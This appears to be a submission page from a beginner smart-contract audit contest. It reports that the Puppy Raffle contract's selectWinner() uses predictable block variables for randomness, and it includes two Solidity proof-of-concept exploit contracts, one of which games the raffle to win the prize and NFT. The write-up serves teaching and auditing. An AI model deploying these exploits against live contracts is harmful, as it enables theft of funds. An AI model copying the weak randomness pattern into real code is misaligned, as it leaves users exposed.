Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Weak randomness in selectWinner() allows participants to predict winner and manipulate raffle outcome

waniyro

Root + Impact

Description

The selectWinner function is intended to choose a random winner among raffle participants and distribute the 80% prize pool and an NFT of random rarity.

However, the contract uses predictable on-chain variables (msg.sender, block.timestamp, block.difficulty) hashed together with keccak256 to determine both the winner index and the NFT rarity. These values are not truly random and can be easily simulated or manipulated by miners/validators and users, allowing an attacker to guarantee winning the prize pool.

@> uint256 winnerIndex =
@> uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
...
@> uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
​

Risk

Likelihood:

Miners, validators, or MEV searchers can compute the winning conditions in advance or manipulate the block timestamp/miner address to call selectWinner only when they are guaranteed to win.

Impact:

High. Malicious actors can reliably steal 80% of the entire prize pool and farm the rarest legendary NFTs, depriving legitimate participants of their fair chance of winning.

Proof of Concept

An attacker can simulate the RNG calculation in advance and only execute selectWinner in the exact block and timestamp where their address wins.

contract ExploitRNG {
PuppyRaffle puppyRaffle;
​
constructor(address _puppyRaffle) {
puppyRaffle = PuppyRaffle(_puppyRaffle);
}
​
function canIWin(uint256 myIndex) external view returns (bool) {
uint256 winnerIndex = uint256(
keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))
) % 4;
return winnerIndex == myIndex;
}
}
​

Recommended Mitigation

Do not rely on on-chain environmental block variables for pseudo-random number generation. Use a cryptographically secure verifiable randomness source such as Chainlink VRF.

- uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ // Use Chainlink VRF to request secure random words:
+ // uint256 requestId = vrfCoordinator.requestRandomWords(...);
​
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!